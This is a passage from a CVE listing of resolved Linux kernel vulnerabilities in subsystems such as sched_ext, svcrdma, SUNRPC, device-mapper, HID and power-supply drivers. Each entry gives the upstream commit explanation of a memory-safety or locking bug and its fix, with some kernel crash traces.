be freed. Add kfifo_reset() after cancel_work_sync() so stale entries are not replayed on next module load. Both kfifos are single-consumer: only one work_struct is registered at a time, enforced by the WARN_ONCE guard in the register functions. kfifo_reset() is safe outside the lock because cancel_work_sync() has already quiesced the consumer, and no new consumer can register until the current module exit completes and a fresh module init runs. Remove the redundant cancel_work_sync() call from cxl_ras_exit() and cxl_pci_driver_exit(). The CPER unregister functions now quiesce the work internally.	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: sched_ext: Fix rq->core_pick corruption under core scheduling Core scheduling's pick_next_task() picks what to run on every SMT sibling of the core in a single pass under the shared core-wide rq lock. The selection state is consistent only while the lock is held continuously, so ->pick_task() originally could not release it. However, since 4c95380701f5 ("sched/ext: Fold balance_scx() into pick_task_scx()"), sched_ext runs dispatch from inside the pick and dispatching can		

CVE-2026-89517	drop the rq lock. To support this, pick_next_task() has been updated to restart the whole selection when a pick returns RETRY_TASK after releasing the lock. When selections on the same core interleave through the dropped lock, they corrupt each other's state: one clears the other's rq->core_pick leading to a NULL deref, or invalidates its keep-the-previous-task decision leaving a dequeued task running, which deadlocks the next wakeup and matches the reported hard hangs. A cookied ping-pong load on an SMT machine makes the interleavings frequent and kills the kernel within seconds. Fix it by making the pick return RETRY_TASK whenever dispatch released the rq lock, so that a selection only ever commits picks made under a continuously held lock. The previous patch's rq->scx.lock_drop_seq counts the releases. A dispatch that touched nothing never releases the lock and its verdict, including "nothing to run", stands: retries are bounded, each following a dispatch that actually did something, and an idle CPU does not loop. If another dispatch is already in flight on the rq, skip dispatching and pick from what is already queued locally - the in-flight dispatch has released the lock, so its own selection will retry and re-pick this rq, while returning RETRY_TASK here would only spin on the lock that dispatch needs to finish. Balance callbacks must run in the context that queued them, so they can only be queued on the CPU's own rq. When dispatching for another rq, run the deferred work directly instead - that rq may consume all its picks through the core-sched fast path and never queue the callback itself. The put_prev_task_scx() warning about a runnable task being left behind assumed that dispatch ran as part of the very pick that is switching away. That now only holds on the non-core path, so gate it and drop the cookie-match test, which is always true without core scheduling, from its condition.	N/A	More Details
CVE-2026-89518	In the Linux kernel, the following vulnerability has been resolved: sched_ext: Fix this_rq() assumptions in dispatch kfuncs Under core scheduling, dispatch runs from within the core-wide pick and can target a sibling rq, so ops.dispatch() may execute on a CPU different from the dispatched rq's. Several kfunc paths assumed the two always coincide: - scx_dsq_move() decided whether an rq lock is held by testing this_rq()'s rq flags and lock-danced accordingly. A dispatch for a sibling took the unlocked-context branch and acquired the source rq lock on top of the already held dispatched rq lock which could deadlock. - scx_bpf_sub_dispatch() dispatched this_rq() with its stashed sub_dispatch_prev, which is NULL when dispatching for a sibling. - finish_dispatch(), scx_bpf_dsq_reenq() and scx_bpf_dsq_nr_queued() resolved SCX_DSQ_LOCAL to this CPU's local DSQ rather than the dispatched rq's. The latter two are callable from other rq-locked operations too, where SCX_DSQ_LOCAL now likewise resolves to the op's rq. This changes behavior also without core scheduling, e.g. for ops.enqueue() running a remote wakeup on the waking CPU, and is intended: which CPU happens to execute an operation is incidental, the op's rq is what it is operating on, and the resolution now matches the insert side where SCX_DSQ_LOCAL dispatches land on the task's rq. Use the rq tracked by scx_locked_rq(), which is set to the dispatched rq around ops invocations and NULL in unlocked contexts.	N/A	More Details
CVE-2026-89519	In the Linux kernel, the following vulnerability has been resolved: sched_ext: Replace SCX_RQ_BAL_KEEP with a dispatch verdict return SCX_RQ_BAL_KEEP tells the pick to keep running the previous task, a leftover from when balancing and picking were separate operations. An rq-level flag only works while dispatches and picks pair up one to one, which core scheduling breaks: selections interleave through dispatch's lock drops and a pick can consume a stale flag, keeping a task that has since been dequeued. Fixing core scheduling support requires the decision to travel with the dispatch that made it. Make scx_dispatch_sched() and balance_one() return an explicit verdict instead and drop the flag's plumbing from the tools autogen enum headers. Also factor the pick-side invocation, its follow-up queueing and the post-dispatch checks out of do_pick_task_scx() into dispatch_pick(). No functional changes intended. v2: Drop the SCX_RQ_BAL_KEEP plumbing from the tools autogen enum headers as well (Andrea).	N/A	More Details
CVE-2026-89525	In the Linux kernel, the following vulnerability has been resolved: udf: reject VAT indexes equal to the entry count UDF 1.50 virtual partition mapping uses the VAT as an array of physical block mappings. s_num_entries stores the number of entries in that array, not the highest valid index. The valid VAT indexes are therefore below s_num_entries. udf_get_pblock_virt15() currently rejects only indexes greater than s_num_entries. A crafted image can request index s_num_entries, pass the bounds check, and make the kernel read one entry past the allocated VAT table. Change the check to reject block >= s_num_entries, so the count is handled as an exclusive upper bound. A crafted UDF image reproduced this on origin/master commit 0e35b9b6ec0ffcc5e23cbdec09f5c622ad532b53 with a KASAN slab-out-of-bounds report in udf_get_pblock_virt15(). Trail of Bits has a reproducer that triggers kernel panic demonstrating the bug, and can share it if needed.	N/A	More Details
CVE-2026-89527	In the Linux kernel, the following vulnerability has been resolved: svcrdma: Use svc_xprt_put to free listener on create failure svc_rdma_create() calls kfree(cma_xprt) when svc_rdma_create_listen_id() fails. svc_xprt_init() has already acquired a net namespace reference via get_net_track(); kfree bypasses svc_xprt_free() which releases it. Replace the kfree() with svc_xprt_put() so the kref_init birth reference drops to zero and svc_xprt_free() dispatches svc_rdma_free() to clean up properly. sc_cm_id is still NULL at that point; the preceding patch added the necessary NULL guard in svc_rdma_free(). svc_xprt_free() also drops the module reference via module_put(), but the caller _svc_xprt_create() does the same on xpo_create failure, double-putting the single try_module_get() it acquired. Take a compensating __module_get() before the svc_xprt_put() to keep the count balanced, matching the convention in svc_rdma_accept()'s error path.	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: svcrdma: Reject oversized Read segments at decode time The RPC/RDMA Read list decoder stores wire-supplied segment lengths without validation. xdr_count_read_segments() checks 4-byte alignment for non-zero position values but does not cap the segment length. An oversized rs_length reaches svc_rdma_build_read_segment(), which derives nr_bvec from		

CVE-2026-89529	it and can drive a large dynamic bvec allocation before verifying that enough rq_pages remain. If the post-allocation page-overrun guard fires, the freshly acquired rw context is not returned, leaking the resource. Reject any segment whose length exceeds the receive context's page budget during Read list decoding, consistent with how xdr_check_write_chunk() bounds Write segment counts against rc_maxpages. Also return the rw context on the existing post-allocation overrun path in svc_rdma_build_read_segment(), keeping that defensive guard balanced.	N/A	More Details
CVE-2026-89582	In the Linux kernel, the following vulnerability has been resolved: bnx2x: fix double free in bnx2x_init_firmware() error path bnx2x_init_firmware() frees bp->init_ops, bp->init_data and bp->init_ops_offsets in its error path without setting them to NULL. The cleanup function bnx2x_release_firmware() frees the same three pointers unconditionally, so if init_firmware fails and release_firmware is later called (e.g. from __bnx2x_remove or through the function state machine), all three are freed a second time. Set each pointer to NULL after kfree() in the error path so that the subsequent kfree(NULL) in bnx2x_release_firmware() is a safe no-op.	N/A	More Details
CVE-2026-89531	In the Linux kernel, the following vulnerability has been resolved: svcrdma: Reject connection when transport allocation fails handle_connect_req() returns without action when svc_rdma_create_xprt() fails to allocate the new transport. The CM core returns 0 for CONNECT_REQUEST events, so it does not destroy the new rdma_cm_id. Each allocation failure under memory pressure leaks one rdma_cm_id, and a remote peer driving connection attempts can amplify this. Reject the connection by returning a non-zero status from the CM event handler, which tells the CM core to destroy the orphaned cm_id.	N/A	More Details
CVE-2026-89539	In the Linux kernel, the following vulnerability has been resolved: SUNRPC: reject duplicate CREDS_VALUE options gssx_dec_option_array() walks the wire-supplied option array and, for every entry whose name matches CREDS_VALUE, calls gssx_dec_linux_creds() on the same struct svc_cred. That helper unconditionally installs a fresh groups_alloc() result into creds->cr_group_info without releasing whatever pointer was already there: for (i = 0; i < count; i++) { ... decode name ... if (length == sizeof(CREDS_VALUE) && memcmp(p, CREDS_VALUE, sizeof(CREDS_VALUE)) == 0) { err = gssx_dec_linux_creds(xdr, creds); ... } } A reply that carries two CREDS_VALUE entries therefore overwrites cr_group_info on the second iteration and orphans the group_info allocated by the first call. The earlier free_creds path only releases the last cr_group_info via free_svc_cred(), so the first allocation's refcount stays at one and its kvmalloc-backed storage is leaked. No in-tree caller of gssp_accept_sec_context_upcall() expects more than one CREDS_VALUE per reply. Fix by tracking whether a CREDS_VALUE option has already been decoded and returning -EINVAL on any subsequent match, so the free_creds path releases the single group_info that was installed.	N/A	More Details
CVE-2026-89543	In the Linux kernel, the following vulnerability has been resolved: sunrpc: fix use-after-free in __rpc_clnt_handle_event and __rpc_clnt_remove_pipedir Normal client creation goes through rpc_setup_pipedir(), which records clnt->pipefs_sb, but the mount-event path in __rpc_clnt_handle_event() calls rpc_setup_pipedir_sb() directly and never refreshes that field. The umount path also removes the directory without clearing clnt->pipefs_sb. After a late pipefs mount or any remount, rpc_clnt_remove_pipedir() compares the current superblock against a stale pipefs_sb pointer and skips cleanup, leaving pipefs dentries whose inode private data still points at a freed rpc_clnt, leading to a potential use-after-free during subsequent rpc_info_open() or rpc_show_info() calls. Fix this by properly updating clnt->pipefs_sb upon mount events and clearing it during unmount or failure paths.	N/A	More Details
CVE-2026-89578	In the Linux kernel, the following vulnerability has been resolved: dm-io: clone the source bio instead of copying its biovec For DM_IO_BIO requests, do_region() built each destination bio by walking the source bio's biovec and re-adding the pages one at a time, tracking the remaining transfer in sectors. The vector lengths are byte granular and need not be sector aligned (e.g. a misaligned O_DIRECT buffer split across pages), so the sector-based accounting could lose a sub-sector fragment: to_sector() truncated the remainder and the outer loop spun forever submitting empty bios, hanging the I/O. There is no need to rebuild the biovec at all. The destination reads into (or writes from) exactly the same pages as the source bio, so the bio can simply clone the source's biovec with bio_alloc_clone() and remap it to the target device. The clone inherits the source's iterator and alignment, and the block layer splits it to the target's limits on submission, so the whole region maps to a single cloned bio with no manual page copying or sector accounting. This removes the per-page copy path (and its open-coded bvec dpages helpers) for bio-backed I/O and fixes the hang on misaligned direct I/O to a dm-mirror device. Page-list, vma and kmem sources keep the existing copy path.	N/A	More Details
CVE-2026-89577	In the Linux kernel, the following vulnerability has been resolved: dm-io: report non-retryable errors separatedly The error codes BLK_STS_NOTSUPP and BLK_STS_INVAL should not cause leg failure on dm-raid1. This patch changes the interface to dm-io, so that it reports two error bitmaps - error_bits and unsup_bits. The unsup_bit bitmap tracks BLK_STS_NOTSUPP or BLK_STS_INVAL errors, the error_bits bitmap tracks all the other errors. dm-raid1 is changed so that it won't fail a leg if it receives an error in the unsup_bits bitmap. This patch (with 62dc37a819a5) fixes misbehavior if the user uses unaligned bio vectors on dm-raid1.	N/A	More Details
CVE-2026-89576	In the Linux kernel, the following vulnerability has been resolved: dm-era: fix shadowed superblock leak on take-snap failure metadata_take_snap() bumps the live superblock refcount and then dm_tm_shadow_block() allocates a new block for the metadata snapshot. If the subsequent dm_sm_inc_block() of writeset_tree_root or era_array_root fails, the function only unlocks the clone and returns. The newly allocated shadow block is never returned to the metadata space map, so each failed take-snap permanently leaks one metadata block. Free the clone with dm_sm_dec_block() on those error paths, matching the final step of	N/A	More Details

	metadata_drop_snap().		
CVE-2026-89575	In the Linux kernel, the following vulnerability has been resolved: dm raid1: reserve space for NUL-terminator in build_constructor_string() Reserve space for the termination NUL after the maximum 20 decimal digits of a long long value to avoid buffer overflow in sprintf().	N/A	More Details
CVE-2026-89552	In the Linux kernel, the following vulnerability has been resolved: params: fix charp corruption on allocation failure param_set_charp() stores charp parameters in allocated memory after slab is available, and releases the previous value when the parameter is updated. The previous value is released before the replacement allocation succeeds. If kmalloc_parameter() fails, the setter returns -ENOMEM with the parameter left as NULL. Failing zswap's compressor update before zswap is initialized can later trigger: BUG: kernel NULL pointer dereference, address: 0000000000000000 RIP: 0010:strcmp+0x10/0x30 Call Trace: zswap_setup+0x3b1/0x490 zswap_enabled_param_set+0x5b/0xa0 param_attr_store+0x93/0xe0 module_attr_store+0x1c/0x30 kernfs_fop_write_iter+0x116/0x1f0 Allocate and copy the replacement first, then replace the parameter value only after allocation succeeds.	N/A	More Details
CVE-2026-89556	In the Linux kernel, the following vulnerability has been resolved: module: validate string table section types In elf_validity_cache_sechdrs, section sizes and offsets are validated, unless the section type is SHT_NULL or SHT_NOBITS. Later, elf_validity_cache_secstrings and elf_validity_cache_index_str access the section name table (.shstrtab) and symbol string table (.strtab) headers without first ensuring that their types are SHT_STRTAB. If a section type is SHT_NULL or SHT_NOBITS, sh_offset has not been validated and may reference out-of-bounds memory when dereferenced in elf_validity_cache_secstrings or elf_validity_cache_strtab. Validate that both string section headers are of type SHT_STRTAB before caching them.	N/A	More Details
CVE-2026-89572	In the Linux kernel, the following vulnerability has been resolved: cpufreq: apple-soc: Fix OPP table cleanup apple_soc_cpufreq_init() adds OPP tables from firmware, but some failure paths do not remove them. The driver also uses dev_pm_opp_remove_all_dynamic(), which is not the right cleanup helper for OPP tables loaded from firmware. Use the cpumask OPP helper after the policy CPU mask has been populated. Pair it with the matching cpumask remove helper on failure paths and in apple_soc_cpufreq_exit(). This also removes the separate dev_pm_opp_set_sharing_cpus() call, as the cpumask helper loads the DT OPP tables for all CPUs in the policy.	N/A	More Details
CVE-2026-89565	In the Linux kernel, the following vulnerability has been resolved: ipip: fix skb leak in collect_md mode when metadata_dst allocation fails In collect_md mode ipip_tunnel_rcv() returns 0 without freeing the skb when ip_tun_rx_dst() fails to allocate the metadata_dst. ipip_rcv() and mplsip_rcv() are registered as xfrm_tunnel handlers, so tunnel4_rcv() and tunnelmpls4_rcv() read the zero return as "the packet has been consumed" and do not free it either. The skb is leaked. The other tunnel drivers all dispose of the packet at this point: ip6_tunnel.c jumps to its drop label, ip_gre.c and ip6_gre.c return PACKET_REJECT, which makes gre_rcv() free the skb. Only ipip returns 0. Jump to the existing drop label instead. It frees the skb and still returns 0, so the packet keeps being reported as consumed, which is what we want here: the outer header has already been pulled, and neither the remaining handlers nor an ICMP unreachable have any use for it. Triggering this needs an ipip or mplsip tunnel in collect_md mode and an atomic allocation failure, which is why it has gone unnoticed.	N/A	More Details
CVE-2026-89566	In the Linux kernel, the following vulnerability has been resolved: jbd2: check need_resched() when skipping busy checkpoint buffers journal_shrink_one_cp_list() skips busy checkpoint buffers when called with JBD2_SHRINK_BUSY_SKIP. The continue statement on this path also skips the need_resched() check at the end of the loop body. Consequently, when a checkpoint list contains mostly busy buffers, the shrinker can walk the entire list while holding journal->j_list_lock, even when a reschedule has been requested. Large checkpoint lists under memory pressure can therefore cause long lock hold times and leave other CPUs spinning on j_list_lock, resulting in soft lockups or RCU stalls. Route the busy-buffer path through the need_resched() check so that the shrinker can release j_list_lock and reschedule promptly, restoring parity with the clean-buffer path, which already checks need_resched(). This does not change which checkpoint buffers are eligible for removal.	N/A	More Details
CVE-2026-89516	In the Linux kernel, the following vulnerability has been resolved: sched_ext: Don't BUG_ON a destroyed DSQ in process_deferred_reenq_users scx_bpf_dsq_reenq() queues a deferred reenq (dru) that runs from run_deferred(), not ops.dispatch(). If the DSQ is destroyed before the dru runs, process_deferred_reenq_users() sees dsq->id == SCX_DSQ_INVALID and hits the BUG_ON. destroy_dsq() doesn't flush pending drus, so just skip. tj: Read dsq->id once with READ_ONCE(). Reading it separately in the INVALID check and the BUG_ON would leave a window where destroy_dsq() can invalidate the id between the two reads and still trigger the BUG_ON.	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: fsnotify: Fix stale object mask after concurrent mark updates When a mark gets a new event bit, fanotify and inotify may avoid recalculating the object mask if the cached aggregate already contains that bit. This is racy with a recalculation triggered by a concurrent update to another mark on the same connector. The concurrent scan can read the mark before the new bit is added, while the updater reads the old aggregate before that scan publishes its result. The updater then skips recalculation and the scan publishes a mask without the bit, leaving the object mask stale after both updates complete. This can be reproduced with two fanotify groups watching the same inode: one		

CVE-2026-89595	thread removes FAN_MODIFY from one existing mark while another thread adds FAN_MODIFY to the other mark. After both fanotify_mark() calls return, writes can fail to produce FAN_MODIFY for the group whose mark now contains the bit. This was reproduced on an unmodified v6.12.95 kernel. The equivalent inotify interleaving loses IN_MODIFY events. For normal fanotify additions, recalculate whenever the raw mark mask changes. The normal mask is not cleared asynchronously, so an unchanged addition cannot introduce missing interest. Always recalculate ignore-mask updates because FS_MODIFY handling may clear the ignore mask without taking mark->lock, making snapshot comparisons unreliable. Always recalculate after updating an existing inotify watch. Its replace path temporarily sets mark->mask to zero, so a concurrent scan can observe zero even when the old and final masks are equal. Assigning the replacement mask directly would avoid the transient zero, but existing-watch updates are infrequent, so unconditional recalculation is simpler.	N/A	More Details
CVE-2026-89625	In the Linux kernel, the following vulnerability has been resolved: HID: sony: fix UAF of ghl_poke_timer / ghl_urb at driver unbind For GHL (Guitar Hero Live) dongles, sony_probe() arms a periodic timer: ghl_magic_poke() (the timer callback) submits sc->ghl_urb, and the URB completion ghl_magic_poke_cb() re-arms the timer with mod_timer(). sony_remove() drained the timer with timer_delete_sync() and then freed the URB with usb_free_urb(): timer_delete_sync(&sc->ghl_poke_timer); usb_free_urb(sc->ghl_urb); timer_delete_sync() does not block re-arming, and while the URB is in flight the timer is not pending, so the sync delete is a no-op. A URB completion that runs after the delete re-arms the timer, and usb_free_urb() only drops a reference -- it does not kill an in-flight URB. sc is allocated with devm_kzalloc() and freed once sony_remove() returns, so the re-armed ghl_poke_timer (embedded in sc) then fires on freed memory, a use-after-free from timer softirq. This is a disconnect/rmmod race. Poison the URB first, then shut the timer down, before freeing the URB. usb_poison_urb() kills any in-flight URB and permanently rejects further submissions, so a poke timer that is still pending cannot re-submit the URB from ghl_magic_poke() in the window before timer_shutdown_sync() runs. usb_kill_urb() would not suffice: it only cancels the in-flight URB and leaves it submittable once it returns, so the pending timer could re-submit it and put a fresh URB in flight over the freed sc. timer_shutdown_sync() then drains any last callback and blocks re-arming. The probe error path is unaffected: it is only reached before the timer is armed. Reproduced under KASAN on next-20260710 via dummy_hcd + raw-gadget emulation of the GHL PS4 dongle (VID 0x1430 / PID 0x07bb): hid-sony binds and arms the poke timer, the poke URB is held in flight, the driver is unbound (freeing sc), then the URB is released. The completion re-arms the timer on the freed sc, and the re-armed timer fires ~8 s later: BUG: KASAN: slab-use-after-free in ghl_magic_poke+0x98/0xb0 Read of size 8 at addr ffff88810b02fd50 by task swapper/0/0 ghl_magic_poke+0x98/0xb0 call_timer_fn+0x35/0x2b0 __run_timers+0x69c/0x9a0 run_timer_softirq+0x173/0x2a0 Allocated by task 169: sony_probe Freed by task 338: devres_release_group <- hid_device_remove (sony_remove) Found by 0sec (https://0sec.ai) using automated source analysis.	N/A	More Details
CVE-2026-89514	In the Linux kernel, the following vulnerability has been resolved: scsi: fnic: Use GFP_ATOMIC for VLAN alloc under spinlock fnic_fcoe_process_vlan_resp() allocates a VLAN descriptor with kzalloc_obj() (default GFP_KERNEL) while holding vlans_lock via spin_lock_irqsave(). GFP_KERNEL may sleep, which is not allowed in this atomic context and can trigger a sleeping-from-invalid-context warning or deadlock. Pass GFP_ATOMIC so the allocation is safe under the IRQ-safe spinlock.	N/A	More Details
CVE-2026-89462	In the Linux kernel, the following vulnerability has been resolved: power: supply: max17040: propagate register read errors max17040_get_vcell() and max17040_get_soc() ignore errors returned by regmap_read(). When an I2C transfer fails, the uninitialized register value is converted and reported to userspace as a valid voltage or state of charge. The polling worker can also replace the cached state of charge with the bogus value and emit a spurious change event. Propagate read errors through the power supply get_property callback and keep the last valid cached state of charge when polling fails.	N/A	More Details
CVE-2026-89623	In the Linux kernel, the following vulnerability has been resolved: HID: mcp2221: stop device IO before hid_hw_stop Quiesce device IO at the start of the devm cleanup callback mcp2221_hid_unregister() so that incoming HID reports cannot race with hardware teardown during probe failure or device removal, addressing a potential use-after-free. Guard the call to hid_device_io_stop() with io_started. On normal removal hid_device_remove() has already cleared io_started before the devres group is released, so an unconditional call would otherwise hit the !io_started path and emit a spurious "io already stopped" warning on every removal. The guard preserves the probe-failure balancing, where io_started is still set after hid_device_io_start(), while staying silent on the normal removal path.	N/A	More Details
CVE-2026-89463	In the Linux kernel, the following vulnerability has been resolved: power: supply: ucs1002: fix use-after-free on remove ucs1002 has no remove callback, so unbind runs entirely through devm. The alert IRQ handler queues the health_poll delayed work, and the work reschedules itself while the chip reports a bad-health condition. devm frees the alert IRQ, which only synchronizes the handler; it does not cancel the delayed work, which can then run after devm frees the driver data and dereference it. Register health_poll with devm_delayed_work_autocancel() before the alert IRQ is requested. devm then frees the IRQ before cancelling the work, so the handler can no longer queue it and the work is cancelled before the driver data is freed. This issue was found by an in-house static analysis tool.	N/A	More Details
CVE-2026-89621	In the Linux kernel, the following vulnerability has been resolved: HID: mcp2221: validate report size in mcp2221_raw_event() mcp2221_raw_event() never validates the size of incoming HID reports. In the MCP2221_I2C_GET_DATA path it trusts the device-supplied data[3] as the copy length without checking that 4 + data[3] bytes actually exist in the received report. A malicious or misbehaving USB device can send a short report with a large data[3], causing the memcpy to read past the valid report data in the HID transfer buffer	N/A	More Details

	and leak uninitialized kernel memory back to userspace through the I2C/SMBus read path. Add a minimum size check at entry and validate that the source range fits within the received report before the copy.		
CVE-2026-89464	In the Linux kernel, the following vulnerability has been resolved: power: supply: twl4030_charger: cancel workers via devm bci is devm-allocated. Two workers (bci->work and bci->current_worker) dereference it. twl4030_bci_remove() disables charging and masks interrupts. It cancels neither worker. A worker pending at remove() can run after devm frees bci. The USB transceiver comes from devm_usb_get_phy_by_node(). devm unregisters its notifier only after remove() returns. A cancel_work_sync() in remove() can then race a notifier reschedule. devm_work_autocancel() and devm_delayed_work_autocancel() avoid that. They cancel the workers during devm release, before bci is freed. The current_worker is registered first, since devm will cancel in reverse order and bci->work can reschedule current_worker. [Move comment about order into the commit message]	N/A	More Details
CVE-2026-89467	In the Linux kernel, the following vulnerability has been resolved: power: supply: qcom_battmgr: fix use-after-free qcom_battmgr_pdr_notify() queues enable_work when the PMIC GLINK service comes up, and the worker recovers battmgr through container_of() to issue firmware requests. The PMIC GLINK client stays on the client list until its devres release action runs, so a PDR notification can keep queueing the work, and a pending or running worker can access battmgr after devres frees it. Make enable_work device-managed with devm_work_autocancel(), registered before the PMIC GLINK client is allocated. The devres cleanup then releases the client first, so no further notification can queue the work, and cancels the work before battmgr is freed. This issue was found by an in-house static analysis tool.	N/A	More Details
CVE-2026-89618	In the Linux kernel, the following vulnerability has been resolved: eventfs: Initialize ei->children and ei->list in init_ei() eventfs_create_dir() allocates the eventfs_inode and initializes it with init_ei(). But this does not initialize the eventfs_inode list_heads. If the eventfs_create_dir() fails due to memory pressure, it will call free_ei() before it initialized the lists, and that checks to make sure the eventfs_inode has no children. But because the list wasn't initialized, it will give a false warning. Fix it by moving the list initialization into init_ei(). [Rewrote change log]	N/A	More Details
CVE-2026-89468	In the Linux kernel, the following vulnerability has been resolved: power: supply: lp8788-charger: fix use-after-free on remove lp8788_charger_remove() flushes charger_work before unregistering the IRQs. An IRQ thread can queue charger_work after flush_work() has returned. The work can then run after devres frees pchg and dereference it in lp8788_charger_event(). Unregister the IRQs first. free_irq() waits for any running threaded handler, so no handler can queue more work afterwards. Then use cancel_work_sync() to cancel pending work or wait for running work to finish. This issue was found by an in-house static analysis tool.	N/A	More Details
CVE-2026-89473	In the Linux kernel, the following vulnerability has been resolved: power: supply: bq25890: Fix power_supply reference leak bq25890_fw_probe() acquires a reference to a secondary charger using power_supply_get_by_name(), but the reference is not released on later probe failures or on driver detach. In particular, failures after bq25890_fw_probe() returns successfully, such as a failure in bq25890_hw_init(), also leak the reference. Register a device-managed cleanup action immediately after acquiring the secondary charger. This releases the reference on all subsequent probe failures and on driver detach. Found by code review.	N/A	More Details
CVE-2026-89474	In the Linux kernel, the following vulnerability has been resolved: power: supply: bq256xx: drain usb_work before freeing the charger The USB-PHY notifier queues usb_work, whose handler calls power_supply_changed(bq->charger). The reset devm action only unregisters the notifier and was registered before the power supplies, so devm frees bq->charger on unwind before the action runs; a usb_work still queued can then dereference it. Register the reset action after the power supplies, so it unregisters the notifiers and drains usb_work before the supplies are released. Initialize usb_work and obtain the PHY references before registering the notifiers, so the worker cannot run before the supplies exist. Found by static analysis.	N/A	More Details
CVE-2026-89475	In the Linux kernel, the following vulnerability has been resolved: power: supply: bq24257: fix use-after-free on remove The STAT-pin interrupt is devm-managed, so it stays armed until the devm cleanup that runs after remove() returns. remove() cancels bq->iilimit_setup_work while the threaded handler can still fire; that handler reschedules the work and dereferences bq, so the work runs against freed memory once devm frees bq. Make the delayed work device-managed with devm_delayed_work_autocancel(), registered before the interrupt request. The devm cleanup then releases the interrupt first, so the handler can no longer reschedule the work, and cancels the work before bq is freed. The explicit cancel_delayed_work_sync() in remove() is no longer needed and is dropped. Found by static analysis.	N/A	More Details
CVE-2026-89484	In the Linux kernel, the following vulnerability has been resolved: lockd: fix NULL dereference on lockowner allocation failure nlmclnt_locks_init_private() installs NLM file lock operations even when nlmclnt_find_lockowner() fails to allocate a lockowner. nlmclnt_proc() then returns -ENOMEM, but the VFS still tears down the partially initialized file_lock and calls locks_release_private(). That invokes nlmclnt_locks_release_private(), which dereferences fl->fl_u.nfs_fl.owner and crashes because the owner was never installed. Clear fl_ops before attempting to initialize the NLM private state, and install the NLM lock operations only after a lockowner has been allocated successfully.	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: ocfs2: fix readdir position truncation on 32-bit kernels In ocfs2_dir_foreach_blk_el(), the directory cookie position is rebuilt with ctx->pos = (ctx->pos & ~		

CVE-2026-89490	(sb->s_blocksize - 1)) | offset; `ctx->pos` is loff_t (signed 64-bit), while `sb->s_blocksize` is unsigned long. On 32-bit kernels unsigned long is 32-bit, so the mask ~(sb->s_blocksize - 1) is computed as a 32-bit unsigned value (e.g. 0xfffff000 for a 4 KiB block size). In the AND expression with the 64-bit `ctx->pos`, that unsigned operand is zero-extended to 64 bits per the usual arithmetic conversions, yielding 0x00000000fffff000. The high 32 bits of `ctx->pos` are silently cleared, even though directory size is allowed to exceed 4 GiB. When readdir() crosses the 4 GiB boundary on a 32-bit kernel the position is reset back into the first 4 GiB block, making the re-validation path re-enumerate already-returned dirents indefinitely. This is ocfs2_dir_foreach_blk_el(), the extent-list readdir path taken for all non-inline directories, so a directory large enough to cross 4 GiB reaches it. This is the same class of bug that commit 3dce5bb82c97 ("exfat: Fix bitwise operation having different size") fixed in exfat, and the fix mirrors the equivalent ext4 fix in this series. Cast the operand to loff_t so the mask is 64-bit before the AND: ctx->pos = (ctx->pos & ~((loff_t)sb->s_blocksize - 1)) | offset; 64-bit kernels are unaffected.	N/A	More Details
CVE-2026-89491	In the Linux kernel, the following vulnerability has been resolved: ocfs2: cluster: don't sleep while holding o2hb_live_lock in o2hb_region_pin() Patch series "ocfs2: cluster: o2hb_region_pin() fixes", v2. This series fixes three related issues in o2hb_region_pin(), all are from the original implementation in commit: 58a3158a5d17 ("ocfs2/cluster: Pin/unpin o2hb regions"): 1) It is called with o2hb_live_lock (a spinlock) held, but the underlying configfs_depend_item() sleeps (takes inode rwsem and pins the filesystem). This triggers BUG under CONFIG_DEBUG_ATOMIC_SLEEP. 2) When called from the configfs drop_item callback, it creates a lock order inversion: parent inode_lock -> configfs root inode_lock, which can deadlock against subsystem unregistration paths taking root -> parent. 3) If pinning fails partway through o2hb_region_inc_user(), the o2hb_dependent_users counter is leaked and partially-pinned regions are never released, leaving heartbeat regions unprotected on subsequent mounts. Patch 1 reworks o2hb_region_pin() to drop o2hb_live_lock across each sleeping configfs_depend_item() call, using a config_item reference to keep the region alive while unlocked. Patch 2 adds a from_callback parameter to select configfs_depend_item_unlocked() when called from configfs context, avoiding the inode_lock nesting. Patch 3 fixes the error path in o2hb_region_inc_user() to unpin and decrement the counter on failure. This patch (of 3): o2hb_region_pin() is always called with the o2hb_live_lock spinlock held (from o2hb_region_inc_user() and o2hb_heartbeat_group_drop_item()), but it calls o2nm_depend_item() -> configfs_depend_item(), which sleeps: it pins the configfs filesystem and takes the configfs root inode rwsem. Under CONFIG_DEBUG_ATOMIC_SLEEP this triggers: BUG: sleeping function called from invalid context at kernel/locking/rwsem.c in_atomic(): 1, ... name: mount.ocfs2 down_write configfs_depend_item o2hb_region_pin o2hb_region_inc_user o2hb_register_callback dlm_register_domain_handlers ... ocfs2_dlm_init ocfs2_mount_volume ocfs2_fill_super Rework o2hb_region_pin() to pin one region at a time with the lock dropped across the sleeping call: under o2hb_live_lock find the next eligible region and take a config_item reference to keep it alive, drop the lock, call o2nm_depend_item(), then retake the lock and record the pin. The config_item_put() is done with the lock released as well, since o2hb_region_release() also acquires o2hb_live_lock and can sleep. The region list may change while unlocked, so the scan restarts from the top after each pin. Local heartbeat still pins only the matching region; global heartbeat pins all eligible regions. The unpin path is unaffected: configfs_undepend_item() only takes a spinlock and does not sleep.	N/A	More Details
